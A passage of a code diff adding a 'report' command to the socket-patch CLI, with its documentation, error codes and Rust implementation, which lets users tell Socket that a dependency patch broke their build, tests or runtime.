diff --git a/README.md b/README.md index 89d6b7f8a..75bc34d04 100644 --- a/README.md +++ b/README.md @@ -91,6 +91,7 @@ socket-patch list # what is patched here; in a terminal socket-patch vendor # eject an existing hosted patch set socket-patch repair # restore agent or vendored patch artifacts socket-patch rollback lodash # restore one package to upstream +socket-patch report lodash --reason tests # tell Socket a patch broke something socket-patch rollback # restore upstream dependencies ``` diff --git a/crates/socket-patch-cli/CLI_CONTRACT.md b/crates/socket-patch-cli/CLI_CONTRACT.md index a19a36417..73c4c04d9 100644 --- a/crates/socket-patch-cli/CLI_CONTRACT.md +++ b/crates/socket-patch-cli/CLI_CONTRACT.md @@ -24,6 +24,7 @@ For task-oriented guidance, start with [usage](../../docs/usage.md), | `show` | — | (additive) Read-only: print what is inside one patch — the advisories it fixes, what Socket measured about it, the files it changes and the unified diff of each. Requires positional `identifier` (a patch UUID, or a PURL, package name, CVE or GHSA id; several matching patches open a menu on a terminal, and the best ranked is shown otherwise, with the others named on stderr). Changes nothing in the project and takes no lock. See [`show`](#show-inspect-a-patch). | | `apply` | — | Agent mode: apply patches from the local manifest | | `rollback` | — | **Full-state rollback (v5.0, MAJOR)**: restore original files AND unwind vendored lockfile wiring / restore hosted pins to their upstream registry entries, remove the rolled-back entries from the manifest, and GC their blobs/archives; takes optional variadic positional `targets` (PURL \| UUID \| package name \| path glob). See [Rollback command contract](#rollback-command-contract-v50) | +| `report` | — | (additive) Tell Socket that a patch broke the build, the tests or the application. Requires one or more positional patches: a patch UUID, or a PURL or package name of a patch the project holds. Sends one request; changes nothing in the project and takes no lock. See [`report`](#report-report-a-broken-patch). | | `remove` | — | Restore and remove one patch across hosted, vendored, and agent state; requires positional `identifier`. | | `repair` | — | Download missing agent blobs and replace corrupt ones (every referenced blob on disk is re-hashed against its git-sha256 name), redownload missing/corrupt vendored artifacts (never re-synthesizing a lost ledger), and clean up unused ones: a blob no manifest patch references (the afterHash and beforeHash blobs of every manifest patch are kept, so an offline `rollback` still has its originals; `scan --prune` keeps the same set) and every obsolete diff or package archive (refuses with `lock_held` when a live process holds the lock; see "Lock lifecycle" below) | @@ -291,6 +292,9 @@ Beyond the globals above, each subcommand defines a small set of local arguments | `show` | `--file ` (repeatable) | — | Print the diff of these files only: a path of the patch, or the end of one at a `/` (`a.js` selects `lib/a.js`). A path the patch does not change is an error (exit 1, `file_not_in_patch`) that lists the ones it does | | `show` | `--stat` | — | The summary and the list of changed files, without the diffs | | `show` | `--no-pager` | — | Print everything at once instead of opening the patch full-screen (what a pipe gets) | +| `report` | positional `...` (one to 50) | — | The patches to report. A UUID names a patch whether or not the project holds it (one that was rolled back, say). A PURL or a package name selects the patches the project at `--cwd` holds for that package in any mode (the shared target grammar, as `rollback ` reads it): one the project holds no patch for is `patch_not_found`, a name that reaches several packages is `ambiguous_target`, more than 50 patches is `too_many_patches`, and each sends nothing | +| `report` | `--reason ` | — | What the patch broke: the project no longer installs, compiles or builds; its tests fail; it misbehaves when it runs; or something else. Default `other` | +| `report` | `--message ` | — | What went wrong, in the user's words. Sent on one line (line breaks and control characters become spaces), with the credentials of any URL and the home directory redacted, cut to 1000 characters; `--dry-run` shows it as it would be sent | | `apply`, `scan`, `vendor` | `--vex` | `SOCKET_VEX` | Generate an OpenVEX 0.2.0 document at this path on a successful run; see "embedded VEX" below | | `apply`, `scan`, `vendor` | `--vex-product`, `--vex-no-verify`, `--vex-no-bazel`, `--vex-doc-id`, `--vex-compact` | `SOCKET_VEX_PRODUCT`, `SOCKET_VEX_NO_VERIFY`, `SOCKET_VEX_NO_BAZEL`, `SOCKET_VEX_DOC_ID`, `SOCKET_VEX_COMPACT` | Passthrough to the embedded VEX builder; mirror the standalone `vex` knobs. Inert unless `--vex` is set | | `scan` | positional `[PATHS]...` | — | (v5.0) Meaning depends on the mode. **Hosted / vendored** (bare `scan` included): each PATH, or directory glob (`apps/*`), is a project directory scanned on its own as if it were `--cwd`. **Agent** (and a mode-less `--prune`/`--global` report): path globs scoping DISCOVERY to packages installed under matching paths (`packages/foo`, `apps/**`). See "Path-scoped scans" below | @@ -345,6 +349,19 @@ For a **9.0 root lock**, the CLI ensures `pnpm-workspace.yaml` carries `trustLoc - **`--json`.** One document: `{"command": "show", "status": "success", "patch": {"uuid", "purl", "tier", "publishedAt", "license", "description", "vulnerabilities", "statistics", "files": [{"path", "beforeHash", "afterHash", "added", "removed", "binary"}]}}`. `statistics` is the service's object or `null`; `added` / `removed` are `null` for a file with no diff. No file content is included. A failure is `{"command": "show", "status": "error", "error": {"code", "message"}}` with exit 1; codes: `offline_unsupported`, `patch_lookup_failed`, `no_patches`, `patch_not_found`, `patch_fetch_failed`, `file_not_in_patch`. - `--silent` prints nothing on success. +### `report`: report a broken patch + +`socket-patch report ... [--reason ] [--message ]` tells Socket that the patches named broke something, so a patch that breaks projects is found and fixed or withdrawn. There is no report that a patch works. It reads which patches the project holds (to turn a PURL or a package name into a patch), sends one request, and changes nothing: it takes no lock and writes no file. To take the patch off, use `rollback`. + +- **What is sent.** One `patch_reported` event, on the route the run's telemetry takes (see [Telemetry](#telemetry)): for each patch its UUID, its ecosystem and the mode the project holds it in (`agent`, `hosted`, `vendored`, or `unknown` with an empty ecosystem for a UUID the project does not hold), the reason (`breaks_build`, `breaks_tests`, `breaks_runtime`, `other`), the message when one was given, and the `context` every event carries (CLI version, platform, architecture, install channel). Never a package name, a path or a file's contents. A patch is named once, however many targets reach it. One report names at most 50 patches and never leaves one out: more is `too_many_patches` (exit 1, nothing sent), and where a full list and a long message together would exceed the event's size, the message is cut further and the list is not. +- **Which patch of a package.** Where the project holds patches for one package version in several modes, the report names the one the build consumes: the vendored artifact, else the hosted pin, else the agent manifest's record, each under its own UUID and mode. A patch that is both recorded in the manifest and vendored is reported as vendored, and a manifest record the vendored artifact has replaced is not reported. A vendor ledger entry is matched by its key or its base PURL, with or without an embedded record. A store that cannot be read holds nothing: a UUID is still reported, and a PURL or a name that then matches nothing fails with that store's error (`manifest_invalid`, `manifest_unreadable`, `vendor_state_unreadable`) instead of `patch_not_found`. +- **Not telemetry.** A report is something the user asked to send, so the telemetry opt-outs (`--no-telemetry`, `SOCKET_TELEMETRY_DISABLED`, `SOCKET_PATCH_TELEMETRY_DISABLED`, `DO_NOT_TRACK`, `VITEST`) do not stop it. `--offline` / `SOCKET_OFFLINE` does: the run makes no request and fails with `offline_unsupported` (exit 1). +- **Delivery.** Unlike a telemetry event, the run waits for the answer (2 s to connect, 5 s in all). Anything but a success is a failed run: `report_not_sent`, exit 1, `Error: The report was not sent: the request returned status 500 Internal Server Error`; a request that got no answer says why (`the request failed: …`, with the cause: a refused connection, a DNS or TLS failure, a timeout). One case is retried, once: a token the org endpoint refuses (401 or 403: expired, revoked, or without access to the org) sends the same report again without the token, on the public route an anonymous run uses, so a stale saved login does not cost the report. Nothing else is retried, and a failed report leaves nothing behind to send later. +- **`--dry-run`.** Resolves the patches and prints the whole report as it would be sent (`Would report 1 patch to Socket as breaking tests:`, each patch with its mode, and the message after redaction); sends nothing. +- **Output.** `Reported 1 patch to Socket as breaking tests:`, one line per patch (` pkg:npm/lodash@4.17.20 (, agent mode)`, or the UUID alone for a patch the project does not hold), and ` Message: ` with the message as it was sent, when one was given; nothing under `--silent`. The reasons read `breaking the build`, `breaking tests`, `breaking at run time` and, for `other`, `broken`. +- **`--json`.** One document, not the shared envelope: `{"command": "report", "status": "success", "dryRun", "reason", "message"?, "patches": [{"uuid", "purl"?, "ecosystem", "mode"}]}`, with `reason` as the word typed (`build`, `tests`, `runtime`, `other`) and `message` as it was sent. A failure is `{"command": "report", "status": "error", "error": {"code", "message"}}` with `patch_not_found`, `ambiguous_target`, `too_many_patches`, a store's load error, `offline_unsupported` or `report_not_sent`, exit 1. A missing patch or an unknown reason is a clap usage error (exit 2, no JSON). +- **After a rollback.** A `rollback` that named its targets, took off one to three patches and runs at a terminal with a person at it ends with one line giving the command to report them, by UUID since the project no longer holds them: `Did this patch break something? Tell Socket: socket-patch report --message "what happened"`. Never on a dry run, under `--json` or `--silent`, in a pipe or in an AI coding agent's terminal, and never after a bare `rollback`. Only a recorded id that is a UUID is ever printed in that command: a manifest's `uuid` is a string a project file supplies, so a run that took off a patch with any other id prints no hint. A report made this way names the patch alone: the project no longer holds it, so its mode is `unknown` and its ecosystem empty. + ### Scan modes (v5.0) **Mode resolution (`resolve_mode_flags`, MAJOR in v5.0).** `--mode`, or `--sync` (agent mode), picks the mode. With neither, `scan` and `get` keep the mode the project's patch state already records (`mode_from_project_state`, #1088; both stores are read from the project the resolved manifest belongs to, so a `--manifest-path` into another project consults that project's ledger): a non-empty vendor ledger (`.socket/vendor/state.json`; also an unreadable or malformed one, so the vendored flow reports it) means **vendored**, a manifest holding patches the ledger does not already cover (by key or base purl), or an unreadable or malformed manifest (so the agent flow reports it), means **agent** — a record the ledger covers, as `get --save-only` then `vendor` leaves, is vendored state — and a project with neither runs **hosted** mode — JSON and human alike (see the hosted paragraph below and [`scan` and `get` JSON](#scan-and-get-json-v50-major)). A project holding both agent and vendored state is a usage error (exit 2, code `mode_ambiguous`, naming the three `--mode` values) and writes nothing. So is a vendor ledger beside hosted pins in the project's lockfiles (#1437), the mixed state a partial `--mode hosted` takeover or per-package `get --mode` leaves: hosted mode keeps no ledger, so its pins are its state, and keeping vendored mode would take every pin over. A human-mode run that kept vendored or agent mode says so on stderr (`Note: using --mode vendored because … already holds vendored patches; pass --mode explicitly to switch modes`); `--json` and `--silent` print no note. **Switching modes is always explicit**: the in-place vendored → hosted takeover (see **Staged takeover**) runs only under `--mode hosted`, the hosted → vendored takeover only under `--mode vendored`, and a bare `scan`/`get` never converts a project. With hosted/vendored PATH arguments and no `--mode`, each project directory takes its mode from its own state. The one exception to the state-derived default: a `--prune` or `--global`/`--global-prefix` scan with no mode has no project lockfile to rewire, so it is **report-only** — discovery, one row per package a patch is available for, the `updates` array and the `redirectState` block below, plus the `--prune` GC — and, in human mode, ends with the hint `To apply these patches in place, run:` / ` socket-patch scan --mode agent [PATHS]` / ` socket-patch get `. Its rows are headed `Patches available:` (under `--verbose` each patch is listed in full instead; `Patches to apply:` heads that listing in a run that applies them), and its `--dry-run` prints the same listing and hint as the run it previews, with the `--prune` GC as a read-only preview: a report-only preview never says `Would download and apply N patches`. A global scan's hint carries the run's scope, so it can be run verbatim: `-g` (`scan --mode agent -g` / `get -g <…>`), or `--global-prefix ` when a prefix was given (the directory shell-quoted when it needs it). An explicit `--mode hosted` or `--mode vendored` with `--global`/`--global-prefix` is a usage error (exit 2: global installs have no project lockfile to redirect, or to wire vendored artifacts into); `get` enforces the same rule with the same wording. @@ -2110,6 +2127,8 @@ Telemetry is **on by default**. Each command reports its outcome as one JSON eve | `--offline` / `SOCKET_OFFLINE` | Strict airgap: no network at all. | | `VITEST=true` | Guard for socket-cli's vitest suite, which spawns this binary. | +A [`report`](#report-report-a-broken-patch) is the one exception: it is sent because the user ran it, so only `--offline` / `SOCKET_OFFLINE` stops it. + Every `event_type` must be in the Socket API's patch event map, or it is stored as `external` and drops out of the patch dashboards; `telemetry.rs` pins that list in a test. | Command | Success | Failure | Metadata | @@ -2122,6 +2141,7 @@ Every `event_type` must be in the Socket API's patch event map, or it is stored | `get ` | `patch_fetched` | `patch_fetch_failed` | `uuid`, `tier`, `ecosystem`, `mode`, `patches_count: 1`, `download_mode`, `fallback_to_proxy`, *patches*. Failure: `uuid` (when one was asked for), `error_code` (`not_found`, `paid_required`, `patch_fetch_failed`), `fallback_to_proxy` | | `remove`, `vendor --revert` (never on `--dry-run`; one event per run) | `patch_removed` | `patch_remove_failed` | `removed_count` (patches taken out), *patches* | | `rollback` | `patch_rolled_back` | `patch_rollback_failed` | `rolled_back_count` (packages restored, as `summary.rolledBack`), `dry_run`, `targeted` (targets were named), *patches* | +| `report` (never on `--dry-run`) | `patch_reported` | — | `reason` (`breaks_build` / `breaks_tests` / `breaks_runtime` / `other`), `message` (when one was given), *patches* (`outcome: "reported"`; `mode` is `unknown` for a UUID the project does not hold). Sent and waited for by the command itself, whatever the opt-outs above say: see [`report`](#report-report-a-broken-patch) | | `list` / `repair` | `patch_listed` / `patch_repaired` | — / `patch_repair_failed` | `patches_count` / `blobs_added`, `blobs_removed`, `bytes_freed`. Failure: `error_code` | | `vex` | `vex_generated` | `vex_failed` | `advisories_count`, `format`, `output_kind`. Failure: `error_code` | | `--update` (an install, not a no-op or `--dry-run`) | `cli_updated` | `cli_update_failed` | `from_version`, `to_version`, `channel`, `pinned`, `forced` / `error_code` (the envelope's) | @@ -2660,7 +2680,7 @@ outcome for a selected record, rather than inferring a write from exit 0. |-----------------------|----------------------------------|---------| | `user_patch_conflict` | get, vendor; hosted/vendored write rechecks | A selected package has project-owned patch/replacement evidence and no `--allow-patch-conflicts` consent. Evidence paths and a remedy are included; exit 1. (`scan` and `apply` report it as a warning and skip the package.) | | `manifest_not_found` | remove, repair, rollback, vex, apply (only when the manifest vanishes between apply's existence probe and its locked read) (not `list` since v5.0: a missing manifest is an empty list) | `.socket/manifest.json` doesn't exist. For `vex` (and `scan --vex`) it fires only when, in addition, NOTHING else names a patch — no vendor-ledger entry, no lockfile reference (hosted or vendored) — and the message says so (exit 2 standalone; `apply`/`vendor --vex` treat it as their calm no-op). v3.5: `repair` proceeds anyway (vendored phase only) when a vendor ledger or vendor-path lockfile references exist, and exits 0 with a `redirect_only_project` skip (not this error) when the project's only patch state is hosted pins in its lockfiles (v5.0; or a pre-v5 `redirect-state.json`). `list` likewise no longer fires this on a hosted-only project: v5.0 lists every hosted pin the lockfiles wire (exit 0, labeled `details.mode: "hosted"` + `details.lockfiles: []` — no `details.ledger`, since hosted mode keeps none; when the manifest exists too, both are shown, purl-sorted with the manifest entry first on a tie). A pin carries its uuid and empty details unless a pre-v5 redirect ledger records the same purl and uuid (read for migration only: its record supplies the vulnerabilities / tier / description); a pre-v5 ledger record whose pin is in no lockfile is not listed. v5.0: `list` reads the vendor ledger the same way — a vendored-only project (every `scan`/`get --mode vendored` project) lists its ledger entries' embedded records labeled `Mode: vendored (recorded in .socket/vendor/state.json)` in human mode — the twin of the hosted `Mode: hosted (wired in )` line — (`details.mode: "vendored"` + `details.ledger: ".socket/vendor/state.json"` in JSON), exit 0. A standalone-`vendor` entry's fallback `record` lists the same way once no manifest entry covers it (by ledger key or base purl) — the copy manifest-less `vex` attests from, so `list` never reports `manifest_not_found` for a tree whose VEX document attests a patch; while the manifest covers it, only the manifest entry is listed. All sources always come from the SAME project (see the `--manifest-path` flag row), so `--manifest-path` into another project reads that project's state, never the local one. The error still fires when NONE of the three sources has a patch, and a present-but-broken manifest still reports `manifest_invalid`/`manifest_unreadable` regardless (corruption is never masked). A malformed pre-v5 redirect ledger degrades to "nothing to consult" with a stderr warning, muted by `--silent` (the pins still list); `list --json` carries it in the run-level `warnings[]` as `redirect_ledger_corrupt` instead of on stderr. v5.0: `rollback` likewise proceeds manifest-less when the vendor ledger or the lockfiles' hosted pins hold work (its error is the legacy `{status: "error", error: {code: "manifest_not_found", message: "Manifest not found"}, path}` shape); only the truly-empty project — no manifest, no vendor ledger, no hosted pin (a lone pre-v5 redirect ledger is deleted, exit 0) — keeps the exit-1 error, and a project whose lockfiles still reference `.socket/vendor/` artifacts with NO vendor ledger gets a distinct error naming `socket-patch repair`. `remove` (v5.0) proceeds manifest-less whenever a vendor ledger file exists or the lockfiles pin a hosted patch (an existence probe and the read-only hosted-pin discovery before the lock; the vendor ledger loads under it): ANY vendor-ledger entry matching the identifier — detached or not — is removed through the ledger path (`--preserve-state` and drift-keeps behave exactly as on the manifest path), a hosted-only match restores its upstream registry entry, and when that state exists but holds nothing for the identifier the error is `not_found` (exit 1), not this code — `manifest_not_found` fires from `remove` only when all three sources are empty. Manifest entries are removed in sorted purl order. | -| `ambiguous_target` | remove, get, rollback | The identifier is a package name whose last-segment rule selects several packages across the manifest, the vendor ledger and the hosted pins (`core` → `@angular/core` and `@babel/core`). Nothing is changed (exit 1); the message names each package. Use the full name or a purl. See **Target grammar**. | +| `ambiguous_target` | remove, get, rollback, report | The identifier is a package name whose last-segment rule selects several packages across the manifest, the vendor ledger and the hosted pins (`core` → `@angular/core` and `@babel/core`). Nothing is changed (exit 1); the message names each package. Use the full name or a purl. See **Target grammar**. | | `manifest_invalid` | list, remove, apply (incl. `--check`), repair, vendor (incl. `--check`), vex, rollback, get, scan (agent mode) | Manifest exists but is unparseable (malformed JSON or a schema violation). **v5.0, MAJOR (#931)**: one mapping on every command — `apply` used to say `apply_failed`, `repair` `repair_failed`, `vendor` the undocumented `invalid_manifest`, and `apply --check` / `vendor --check` / `vex` / `get` / `rollback` `manifest_unreadable`. Exit codes unchanged (`vex`: 2, every other command 1). Agent-mode `scan` fails with it (exit 1); the other scan modes, which don't read the manifest, add a warning with the same code and go on. | | `manifest_unreadable` | list, remove, apply (incl. `--check`), repair, vendor (incl. `--check`), vex, rollback, get, scan (agent mode) | Manifest exists but cannot be read (an I/O error: permission denied, a directory at the path, …). Only a missing file is absence: a path that cannot even be stated (an unsearchable `.socket/`, `.socket` as a plain file, a symlink loop) is this code too, never `noManifest` or `manifest_not_found` (#998), and the verdict is the same whether the path is the default, spelled with `--manifest-path` or set through `SOCKET_MANIFEST_PATH` (#1123). `vex`: exit 2. Other scan modes warn, as for `manifest_invalid`, and so does a `scan --prune` GC pass that finds the manifest unloadable under its lock (#1063). | | `manifest_write_failed` | get | The manifest write after a download failed; the blobs that run wrote are removed again. | @@ -2669,13 +2689,15 @@ outcome for a selected record, rather than inferring a write from exit 0. | `blob_write_failed` | get | A patch blob could not be decoded or written; the patch's `failed` event carries the same `errorCode` (search path: a per-patch `failed` event only). | | `replaced_patch_not_restored` | get, scan | Agent mode: the recorded patch could not be rolled back before another patch replaced its record (#2096). The recorded patch is kept and the new one is not applied; the patch's `failed` event carries the same `errorCode` (search path and `scan`: a per-patch `failed` event only). | | `selection_required` | get | Several patches match and `--json` cannot prompt; `status` is `selectionRequired` (exit 1), the top-level `purl` names the package and `options[]` lists the candidates. | -| `offline_unsupported` | scan, get | `--offline` / `SOCKET_OFFLINE`: the command needs the patch API. | +| `offline_unsupported` | scan, get, show, report | `--offline` / `SOCKET_OFFLINE`: the command needs the patch API (`report`: the request that carries the report). | | `patch_details_failed` | scan | Every patch-detail query failed. | | `api_batch_failed` | scan | Every batch query failed: no package was answered by the patch service (the token-less per-package path included). | | `reference_resolve_failed` | scan (hosted) | Hosted patch references could not be resolved; nothing changed. | | `lockfile_write_failed` | scan (hosted) | A rewritten lockfile (or, on a takeover, the vendored ledger) could not be written. The files already written are put back and the message ends `(nothing was changed)`; when one cannot be put back either, the message names it and the state it is left in instead (` is left with its new content` / `is left created` / `is left deleted`). Also raised, before any rewrite, when a withdrawn pin's restore failed part-way and could not put a file back (see "Withdrawn pins"). | | `socket_yml_invalid` / `socket_yml_ambiguous` | scan | The socket.yml patch policy cannot be honored (see socket.yml patch policy). | -| `patch_not_found` | rollback | No manifest, ledger or hosted patch matches the identifier. | +| `patch_not_found` | rollback, report | No manifest, ledger or hosted patch matches the identifier. (`report` takes a UUID the project does not hold as a patch to report; only a PURL or a name can fail this way.) | +| `report_not_sent` | report | The request that carries the report got no answer, or one that is not a success; the message says which. A token the org endpoint refused (401 / 403) was already retried without it on the public route. Exit 1. | +| `too_many_patches` | report | The targets name more than 50 patches, the most one report carries. Nothing is sent (`--dry-run` included); send the rest in another report. Exit 1. | | `path_glob_no_match` | rollback, scan | rollback: a path target matched no patched package (exit 1). scan: a PATH glob matched no directory (usage error, exit 2). | | `vendor_ledger_missing` | rollback | Lockfiles reference `.socket/vendor/` artifacts but the vendor ledger is missing, or (unscoped run) has no entry for a referenced uuid dir (#991). | | `rollback_failed` | rollback | The rollback pipeline failed before any per-package result, or (#1066) something failed and nothing was rolled back, previewed, already original or not installed (the `failed` events stay in `events`). | diff --git a/crates/socket-patch-cli/src/commands/mod.rs b/crates/socket-patch-cli/src/commands/mod.rs index 07d188caf..28177a3eb 100644 --- a/crates/socket-patch-cli/src/commands/mod.rs +++ b/crates/socket-patch-cli/src/commands/mod.rs @@ -14,6 +14,7 @@ pub(crate) mod projects_below; pub(crate) mod pypi_reinstall; pub mod remove; pub mod repair; +pub mod report; pub mod rollback; pub mod scan; pub mod show; diff --git a/crates/socket-patch-cli/src/commands/report.rs b/crates/socket-patch-cli/src/commands/report.rs new file mode 100644 index 000000000..45cd33292 --- /dev/null +++ b/crates/socket-patch-cli/src/commands/report.rs @@ -0,0 +1,654 @@ +//! `socket-patch report`: tell Socket that a patch broke something. +//! +//! The report names each patch by UUID with its ecosystem and patch mode, +//! the reason, and the message the user typed. It changes nothing in the +//! project: it reads which patches the project holds (to turn a package +//! name into a patch) and sends one request. + +use clap::Args; +use socket_patch_core::telemetry::{ + fitted_report_message, send_patch_report, PatchOutcome, ReportReason, MAX_REPORT_MESSAGE_CHARS, + MODE_AGENT, MODE_HOSTED, MODE_UNKNOWN, MODE_VENDORED, OUTCOME_REPORTED, +}; +use socket_patch_core::utils::purl_key::PurlKey; +use socket_patch_core::utils::target::{Target, TargetKind}; + +use crate::args::{apply_env_toggles, GlobalArgs}; +use crate::commands::context::ProjectContext; +use crate::telemetry_outcomes::ecosystem_of; +use crate::ui; + +#[derive(Args)] +pub struct ReportArgs { + /// Patches that broke something: UUIDs, PURLs or package names. + /// + /// A PURL or a package name selects the patches this project holds for + /// that package (the ones `list` shows). A UUID names a patch whether + /// or not the project still holds it, so a patch can be reported after + /// it was rolled back. + #[arg(required = true, value_name = "PATCH")] + pub targets: Vec, + + /// What the patch broke. + #[arg(long, value_enum, value_name = "REASON", default_value_t = Reason::Other)] + pub reason: Reason, + + /// What went wrong, in your own words. + /// + /// Sent on one line, with the credentials of any URL and your home + /// directory redacted, and cut to 1000 characters. `--dry-run` shows + /// the message as it would be sent. + // No `-m`: that letter is kept free (it was `--manifest-path`). + #[arg(long, value_name = "TEXT")] + pub message: Option, + + #[command(flatten)] + pub common: GlobalArgs, +} + +// The help text above promises the cap core applies. +const _: () = assert!(MAX_REPORT_MESSAGE_CHARS == 1000); + +/// What a reported patch broke (`--reason`). +// The `///` docs on the variants are user-facing `--help` text; keep +// implementation notes in `//` comments. +#[derive(clap::ValueEnum, Clone, Copy, Debug, PartialEq, Eq)] +pub enum Reason { + /// The project no longer installs, compiles or builds + Build, + /// The project's tests fail + Tests, + /// The project misbehaves when it runs + Runtime, + /// Something else (say what with --message) + Other, +} + +impl Reason { + /// The reason as the report carries it. + fn core(self) -> ReportReason { + match self { + Reason::Build => ReportReason::BreaksBuild, + Reason::Tests => ReportReason::BreaksTests, + Reason::Runtime => ReportReason::BreaksRuntime, + Reason::Other => ReportReason::Other, + } + } + + /// The word the user typed, as `--json` output echoes it. + fn word(self) -> &'static str { + match self { + Reason::Build => "build", + Reason::Tests => "tests", + Reason::Runtime => "runtime", + Reason::Other => "other", + } + } + + /// The reason as the end of "Reported 1 patch to Socket as …". + fn phrase(self) -> &'static str { + match self { + Reason::Build => "breaking the build", + Reason::Tests => "breaking tests", + Reason::Runtime => "breaking at run time", + Reason::Other => "broken", + } + } +} + +/// One patch the project holds, in one mode. +#[derive(Debug, Clone, PartialEq, Eq)] +struct Held { + /// The purl its store records it under. + purl: String, + /// A vendor ledger entry's base purl: its key may be qualified or + /// case-encoded, and the base is the spelling a user types. + base: Option, + uuid: String, + mode: &'static str, +} + +impl Held { + fn matches(&self, target: &Target) -> bool { + target.matches_patch(&self.purl, &self.uuid) + || self + .base + .as_deref() + .is_some_and(|base| target.matches_patch(base, &self.uuid)) + } + + /// The purl that names this patch's package. + fn package(&self) -> &str { + self.base.as_deref().unwrap_or(&self.purl) + } + + /// Which copy of a package the build consumes when the project holds + /// patches for it in several modes (lower wins): a vendored artifact + /// or a hosted pin is what the lockfile installs, whatever the agent + /// manifest also records. + fn rank(&self) -> u8 { + match self.mode { + MODE_VENDORED => 0, + MODE_HOSTED => 1, + _ => 2, + } + } +} + +/// The patches of the project at `--cwd`, and why a store that could not +/// be read is missing from them. +struct Project { + held: Vec, + /// `(code, message)` of the first store that could not be read. + unreadable: Option<(String, String)>, +} + +/// Every patch the project at `--cwd` holds: the vendor ledger's entries +/// (each under its own UUID, with or without an embedded record), the +/// manifest's (agent mode) and the hosted pins of its lockfiles. A store +/// that cannot be read holds nothing here, and says so in `unreadable`: +/// a report by UUID must not need a healthy project. +async fn held_patches(common: &GlobalArgs) -> Project { + let ctx = ProjectContext::new(common); + let loaded = ctx.loaded().await; + let mut unreadable: Option<(String, String)> = None; + let mut held: Vec = Vec::new(); + match &loaded.vendor { + Ok(vendor) => held.extend(vendor.entries.iter().map(|(key, entry)| Held { + purl: key.clone(), + base: Some(entry.base_purl.clone()), + uuid: entry.uuid.clone(), + mode: MODE_VENDORED, + })), + Err(e) => { + unreadable = Some(( + "vendor_state_unreadable".to_string(), + format!("Could not read the vendor ledger: {e}"), + )); + } + } + match &loaded.manifest { + Ok(manifest) => held.extend(manifest.iter().flat_map(|m| &m.patches).map( + |(purl, record)| Held { + purl: purl.clone(), + base: None, + uuid: record.uuid.clone(), + mode: MODE_AGENT, + }, + )), + Err(e) => { + // The manifest's error comes first: it is the store a name + // most often means. + let err = + crate::json_envelope::manifest_load_error(&common.resolved_manifest_path(), e); + unreadable = Some((err.code, err.message)); + } + } + let inventory = crate::commands::hosted_inventory(common, &ctx.root).await; + held.extend(inventory.pins.iter().map(|pin| Held { + purl: pin.purl.clone(), + base: None, + uuid: pin.uuid.clone(), + mode: MODE_HOSTED, + })); + held.sort_by(|a, b| (a.package(), a.rank(), &a.uuid).cmp(&(b.package(), b.rank(), &b.uuid))); + Project { held, unreadable } +} + +/// The patches `targets` name among `held`, each once, in the order the +/// targets first reach them. +/// +/// Where the project holds patches for one package in several modes, the +/// report names the one the build consumes ([`Held::rank`]): a vendored +/// patch is not reported as an agent one because the manifest records it +/// too, and a manifest record the vendored artifact has replaced is not +/// reported at all. +/// +/// `Err((code, message))` when a target names no patch (a UUID always +/// names one) or a package name reaches several packages. +fn select(targets: &[String], held: &[Held]) -> Result, (&'static str, String)> { + let mut named: Vec = Vec::new(); + let mut add = |patch: Named| { + let seen = named + .iter() + .any(|have| have.uuid.eq_ignore_ascii_case(&patch.uuid)); + if !seen { + named.push(patch); + } + }; + for token in targets { + let parsed = Target::parse(token); + // One purl per patch for the ambiguity check: the spelling the + // target reaches it by. + let target = parsed + .settle(held.iter().map(|patch| match &patch.base { + Some(base) if parsed.matches_patch(base, &patch.uuid) => base.as_str(), + _ => patch.purl.as_str(), + })) + .map_err(|message| ("ambiguous_target", message))?; + let matches: Vec<&Held> = held.iter().filter(|patch| patch.matches(&target)).collect(); + for patch in &matches { + let consumed = matches + .iter() + .filter(|other| PurlKey::same(other.package(), patch.package())) + .map(|other| other.rank()) + .min(); + if consumed == Some(patch.rank()) { + add(Named { + uuid: patch.uuid.clone(), + purl: Some(patch.package().to_string()), + mode: patch.mode, + }); + } + } + if !matches.is_empty() { + continue; + } + if target.kind() != TargetKind::Uuid { + return Err(( + "patch_not_found", + format!( + "No patch of this project matches {token}. To report a patch the project \ + no longer holds, name it by its UUID" + ), + )); + } + add(Named { + uuid: token.clone(), + purl: None, + mode: MODE_UNKNOWN, + }); + } + Ok(named) +} + +/// One patch a report names. `purl` is the package the project holds it +/// for; a patch named by UUID alone has none. +#[derive(Debug, Clone, PartialEq, Eq)] +struct Named { + uuid: String, + purl: Option, + mode: &'static str, +} + +impl Named { + /// The patch as the report names it: by UUID, with the ecosystem and + /// the mode it was patched in. Never the package name or a path. + fn outcome(&self) -> PatchOutcome { + PatchOutcome { + uuid: self.uuid.to_ascii_lowercase(), + ecosystem: self.purl.as_deref().map(ecosystem_of).unwrap_or_default(), + mode: self.mode, + outcome: OUTCOME_REPORTED, + code: None, + } + } +} + +/// Report a failure: the coded error on stdout under `--json`, +/// `Error: ...` on stderr otherwise (even under `--silent`). Returns the +/// exit code, 1. +fn fail(common: &GlobalArgs, code: &str, message: &str) -> i32 { + if common.json { + ui::print_json(&serde_json::json!({ + "command": "report", + "status": "error", + "error": { "code": code, "message": message }, + })); + } else { + eprintln!("Error: {message}"); + } + 1 +} + +/// The `--json` document of a report that was sent (or, on a dry run, +/// would be). +fn report_json( + dry_run: bool, + reason: Reason, + message: Option<&str>, + named: &[Named], +) -> serde_json::Value { + let patches: Vec = named + .iter() + .map(|patch| { + let outcome = patch.outcome(); + let mut entry = serde_json::json!({ + "uuid": outcome.uuid, + "ecosystem": outcome.ecosystem, + "mode": outcome.mode, + }); + if let Some(purl) = &patch.purl { + entry["purl"] = serde_json::json!(purl); + } + entry + }) + .collect(); + let mut document = serde_json::json!({ + "command": "report", + "status": "success", + "dryRun": dry_run, + "reason": reason.word(), + "patches": patches, + }); + if let Some(message) = message { + document["message"] = serde_json::json!(message); + } + document +} + +/// The lines a human run prints for a report that was sent (or would +/// be): everything the report says, so a dry run shows it whole. Each +/// patch with the mode it is reported under, and the message as sent. +fn report_lines( + dry_run: bool, + reason: Reason, + message: Option<&str>, + named: &[Named], +) -> Vec { + let mut lines = vec![format!( + "{} {} to Socket as {}:", + if dry_run { "Would report" } else { "Reported" }, + ui::plural(named.len(), "patch", "patches"), + reason.phrase() + )]; + lines.extend(named.iter().map(|patch| match &patch.purl { + Some(purl) => format!(" {purl} ({}, {} mode)", patch.uuid, patch.mode), + None => format!(" {}", patch.uuid), + })); + if let Some(message) = message { + lines.push(format!(" Message: {message}")); + } + lines +} + +pub async fn run(args: ReportArgs) -> i32 { + apply_env_toggles(&args.common); + let common = &args.common; + let project = held_patches(common).await; + // The store that could not be read may hold the patch a name meant, + // or the copy the build consumes in place of one the readable stores 